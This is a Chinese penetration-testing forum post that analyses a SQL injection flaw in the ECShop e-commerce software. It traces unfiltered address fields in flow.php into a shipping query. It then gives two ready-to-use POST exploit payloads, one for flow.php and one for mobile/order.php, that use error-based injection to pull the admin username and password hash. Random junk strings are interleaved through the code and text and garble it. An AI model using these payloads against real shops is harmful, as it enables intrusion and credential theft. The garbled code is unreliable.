中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
5 E9 t( K/ _' J& m8 d& s# A2 W% R7 f, k7 N
    漏洞关键文件:
: ^' K* O1 V: K. V: `  n) |- d8 r
    /includes/lib_order.php7 l7 K  ~. c5 t* u

: \5 i+ G  w, `& w( F( K" s, V    关键函数:
5 {& N0 q% z2 G7 o; a$ s. l* M
8 n, ~2 M- q& c' ^! w/ L/ F$ e
- E/ i$ m4 p3 C* g" d5 g
" T0 x: B$ O$ \9 m' K! S01     function available_shipping_list($region_id_list)
% v% p3 R; C5 y$ x0 L2 K' ^$ Q9 u# r4 v
02 {
: r! s! U3 K  a/ d, F  K' ]
4 r. r- J6 U. m" P/ a9 ]03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
/ N- ^$ w, K5 i7 |( i# o1 Z$ v5 U  G3 O/ q
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ' t8 G% S, h, w

6 L/ U$ ~9 e; R0 f* ~* ]05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, m6 @7 e+ A# G4 ]: k" e5 E! e: W* I5 ?( _( I: j, i
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ' d4 H# r! x, J1 m2 z( h
( \$ K8 X5 R. m2 g" m& [
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ; ]3 Y4 t3 o- Q0 E

& y2 z$ H, A2 `$ R" a+ U08             'WHERE r.region_id ' . db_create_in($region_id_list) .   r  X! |6 l" f' A8 x) ]7 h

( s1 n! R" D. Q5 n  }7 a% M5 U09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 4 D4 L- c. K# M6 j
& `+ i7 D) V& J+ j7 x
10   
' k) s6 y: |3 O. L0 I
8 v" ?) i; _: c$ g! m3 X3 X7 B11     return $GLOBALS['db']->getAll($sql);
$ p0 _/ A$ y8 W' {1 x  B2 @# P4 U' Q$ J( Q  ~, E
12 } : S% ~2 @+ r. `5 s: E

' n4 f0 Q# _3 D显然对传入的参数没有任何过滤就带入了查询语句。- k( l" f& \6 @) z6 O7 }" z

0 s8 H% t& q" d" t  @下面我们追踪这个函数在flow.php中:. d1 Z# b, y+ o* X) P) q/ z
第531行:   / u/ B6 L! c9 T. ?+ i- |) e

  |/ J5 N# g$ c3 M+ R2 S8 K1 $shipping_list     = available_shipping_list($region);
/ J9 V5 X7 Y/ e1 x  |6 Y0 k- z2 z/ t5 y6 A* s3 r8 Q
& ]* ^& b7 ]" Z

: o- U7 E6 P  E3 |! `2 [
" q9 f+ h0 q* V& R. ?( Z6 l9 f0 ?% O1 J" W; e3 ^5 e
再对传入变量进行追踪:, s4 r  F  ^# H  ~

6 l. \1 t: C+ _* H" B4 B第530行:   
/ s3 l! L0 V5 A& g) L; k4 c3 T
! B# K! x1 K$ l8 n1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
# S9 b5 p/ f3 J
, s! ]+ D0 Q5 }5 F) }1 W; \
9 w% L) r6 p( M6 J# D0 V# o  x" h- s$ d7 \& _

& Y! E* o* M- E& A: z. s; i" i+ F) ~' s& {0 O$ A  i
第473行:        - U& N  L: z+ i& i; x2 H
- i* A: M8 L  e  z9 ~" V
1 $consignee = get_consignee($_SESSION['user_id']);
9 {. V- m6 R3 g
0 g+ K8 {2 [; s2 m' j. V% w到了一个关键函数:
+ ?8 e/ M- R- r& Z/ v/ ]" C) r* {2 f- X! z" F3 M# h
/includes/lib_order.php, g# H8 E# t3 E6 g% U; ~3 b9 t) c
' w$ x6 C; b  w9 E# m+ U6 D

- G: k" Q8 N. ^- @  ^5 d
+ o) I3 s- [, k; H; U! k
" p5 H( B* u8 i# f8 F6 n2 _) B% k# M1 t1 `3 L# ?6 V5 ~/ f
01 function get_consignee($user_id) 7 R& N+ R5 U( ~& ]9 X- B4 _1 j

" v7 }' O5 F; _3 K02 { ( ^4 ~: a; h# ^: \$ F) ?
" B2 D. D5 s1 g
03     if (isset($_SESSION['flow_consignee'])) 0 b: \- Q- Y7 b3 f# ]8 U4 R8 x0 K  N

; @* ^/ l' j" ^& Q% d, X. G8 O04     { 8 b2 f. i- e" K4 l

+ z9 O; K* a1 q. ?, k& @05         /* 如果存在session,则直接返回session中的收货人信息 */
2 O9 \) e8 O! |. K/ F( l7 }9 E+ b& ~
06   
4 x2 h3 ?/ J8 _7 f" \
0 X4 Y7 \- U/ P/ |  `. m. D7 {07         return $_SESSION['flow_consignee']; ' U. V# Z. ?" I8 V

; B; V# B, l' E! V7 h( F08     } ; f3 S. b9 T9 s& Z7 d" a

& _; g- u4 |" N% y6 J5 K09     else
- ^* Y2 k3 g$ t  G' S6 z+ z1 M: t5 I4 W# u; c7 Q# Z
10     { ! |4 H; E5 W- ], \* c$ B+ [
( G0 |% R) A$ ^) d9 s
11         /* 如果不存在,则取得用户的默认收货人信息 */
0 [2 v( Z, l. p- ^
1 h; n! P* s6 R0 }7 a. {12         $arr = array();
6 `" m8 z3 p6 W; m6 n" O0 [+ B
) W  i5 V- P1 _6 K- H; \' f8 c, H13   
' r0 D" U* W9 @( e1 k, w$ f; t7 g& b  M- O5 v& Y- }6 ?
14         if ($user_id > 0)
8 j: ]. x8 n  y" f2 k1 `+ a+ y; V1 v! \% s+ m3 z2 I! ~
15         {
4 U, d* A9 B6 ~) a$ Q2 W2 u0 q- w! L8 l( c
16             /* 取默认地址 */
5 {; w& M& a- f* d, z/ B* ]8 w6 ~2 d) J; X; Q' ?" X# n2 O
17             $sql = "SELECT ua.*". ! P8 k6 {; m# X$ _2 Y1 b6 a
" O+ A# ^& S7 e
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. " s) ^. e5 F3 Y0 u) o; b

" F! O1 Q# x/ ?* D- K$ {7 [19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ( A8 b3 @/ o& i' e0 O
3 s2 Y3 [8 Y6 Q. N% W/ a/ b- `( }
20   
! [8 _+ A( J6 t7 H" U9 f5 K6 s: G. X5 {
21             $arr = $GLOBALS['db']->getRow($sql); / a5 P4 U) R+ v8 W

7 `1 {0 n8 z( e) Z/ L* P8 X22         }
0 a1 X' m0 \- L8 m5 Y: q
% ]4 d$ z* {; h# n1 C/ d23   
2 i  u" U' L7 Q- u) }1 @! e- y; \" F6 \
24         return $arr;
5 y( |1 p! Z, @' o6 |6 L
8 }% V' W! o' B4 U4 N8 s' t25     }
& F+ C, c3 I5 C- Q! }% ^. t
% r0 ^1 L& H7 v8 G9 E# n- I26 }
0 G0 i0 q9 X+ ]) t2 J" X7 s! ^. a# v. c
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
# O! f6 q$ ^. R
8 x5 m( F* b2 i0 Z! L$ w 8 k: T% \# K3 W. j8 `) F
* D+ O. N) s! P4 u
关键点:- y5 k1 ~# b: y
8 I/ x  l: H5 p( F
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);; x% Q/ {6 V  J& z! d

6 v8 `# S  z4 k1 E/ I这里对传入参数反转义存入$_SESSION中。
$ }) ?' ?, ~' t. u& X+ u
5 ]& a! S! U$ p3 ~* H
# R4 {7 m5 Z. b) n4 Z; ?7 u6 S% F) |% h8 H5 n
然后看下:% ~5 M6 }1 {  X3 U" M
2 ^  e* }' y" W' i8 d. E( {( g

$ ]" H" g% |9 w" [/ B$ m/ i
, U% W9 b1 B  J6 x- s7 L   
8 E2 z& X- ]1 y: e5 W/ v" W5 p9 @8 n- y5 l3 B
01 $consignee = array(
7 N6 P# O; ?- I
/ ]' Q' i. s1 W' G4 N) i02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
2 z# c" A& u$ Y. b- j  D" `
1 O( q( F% n7 n4 O0 A9 V03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
7 u9 ?5 M: G. \( B! L9 Q. \# z' C
0 D8 @$ i' p# Q04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
% D9 D( b' U- h" W% D+ [" ^0 r+ ?: j
; ]/ v1 k  F( l2 ?3 C. v05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
, F- S' ?# k8 {: V: s9 ^0 c6 Z9 p: q$ A  D
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
8 z$ W* \5 _3 n0 Y  k
. u2 b& A& p, L9 r. j07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
+ H1 n# X4 W/ H' s
  X: b. z' H4 f08         'email'         => empty($_POST['email'])      ? '' _POST['email'], ) @/ n7 U; y% }  t6 x  e+ s

) w" c4 {; S. j) C9 `: I- m09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
3 W: T& `  R+ t4 W- ?9 Y( V
3 y1 T, E; ]: p10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
: z! h2 I- G/ Z8 \7 K  J  U1 s
' A: p* ?$ P5 u4 D' B4 X( E6 _8 Q* F11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), , X3 w" d1 r1 @$ [
* D. o! F: s2 q: l2 F9 X
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), * p! l+ D. q5 }2 y. `. J
" ^! F8 X0 m+ W: f" H
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], % U* p8 V" I7 @
6 M! [# i: {. R0 w. y
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], * n- e" U1 x; I5 I' J

1 S7 j* q& O+ Q( k6 m: x& l15     );
+ K, K2 o( o* E/ p6 E, l0 P+ ~- ]
8 u) s+ y4 z  I好了注入就这样出现了。' B2 H7 b8 q0 N2 r1 R4 C( J/ c
9 K% ?# y" s8 f4 w
==================
% J2 b  ~, R% P& ]1 C- z% B& J
注入测试:- H6 `+ A- c1 `7 [

6 O! s4 @# e; w: n环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)  a1 y# i/ ^5 @6 f$ `
0 L4 r1 Q* Y, l  X" Y% M
测试程序:ECShop_V2.7.3_UTF8_release11060 k( I% c4 K2 O
4 G( K; f: U" w2 x

# e! J5 E0 m4 Q9 ~  u1 j) G7 n3 I/ B: U. K% H9 |2 V# i
1.首先需要点击一个商品加入购物车! N3 e; I" X+ R6 y! |

& `3 u3 r, L9 L1 J5 K* T2.注册一个会员帐号
" q; j# z, ?1 B9 {/ g% D2 \0 w1 p/ F8 C! p4 w6 V
3.post提交数据
/ M$ q# A' f" \$ y" {0 g6 S5 v7 @7 A

# a) C) w3 L& ~. `2 y: @: X8 p5 M7 K  G4 h
1 http://127.0.0.1/ecshop/flow.php
$ W/ w+ {/ ?5 f' Y
5 u, D. ?, U" f4 j1 L- c2   
* D3 e2 b5 ^  L% G3 y& l! H% ]; K* _* ]5 _7 ?
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ' p. k& p0 n. m9 q& D6 t! u( S! h
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
' `6 R' h1 I1 c0 o) D! T  v- j8 k$ [7 A' S
我们搜寻关键函数function available_shipping_list()
+ {6 r3 P5 a! t' q1 e
& S6 E4 d! ]  ?3 m  O* q" N( ^在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同- W8 Z& |: D/ z6 K! S

/ u% ~1 u" h3 t- Y利用exp:: |# a5 E/ i( ?! H$ Z! P. B' c

- u% w3 H( Q- a( g, t2 u8 l3 @' s1.点击一个商品,点击购买商标" O* ]; T9 k) j' S+ m6 Q

9 W/ K4 [! B& u- ]2.登录会员帐号
9 J+ v5 @/ M* T( m& \2 |7 L! }3 R4 }" E/ c8 }1 a
3.post提交:
0 R2 e( m7 B  M* P+ ?/ G' r) P0 L
: ]& j; j# y, I  l& chttp://127.0.0.1/ecshop/mobile/order.php' b3 J* r& N; ^/ B
8 S6 S; z- v3 z) t7 O

, J; V9 v3 ^! V* o$ v8 w1 `' k% z
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=. P6 d7 b- z; z! R

& ~. q, u- p# F0 U% o; o7 S9 g8 c




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2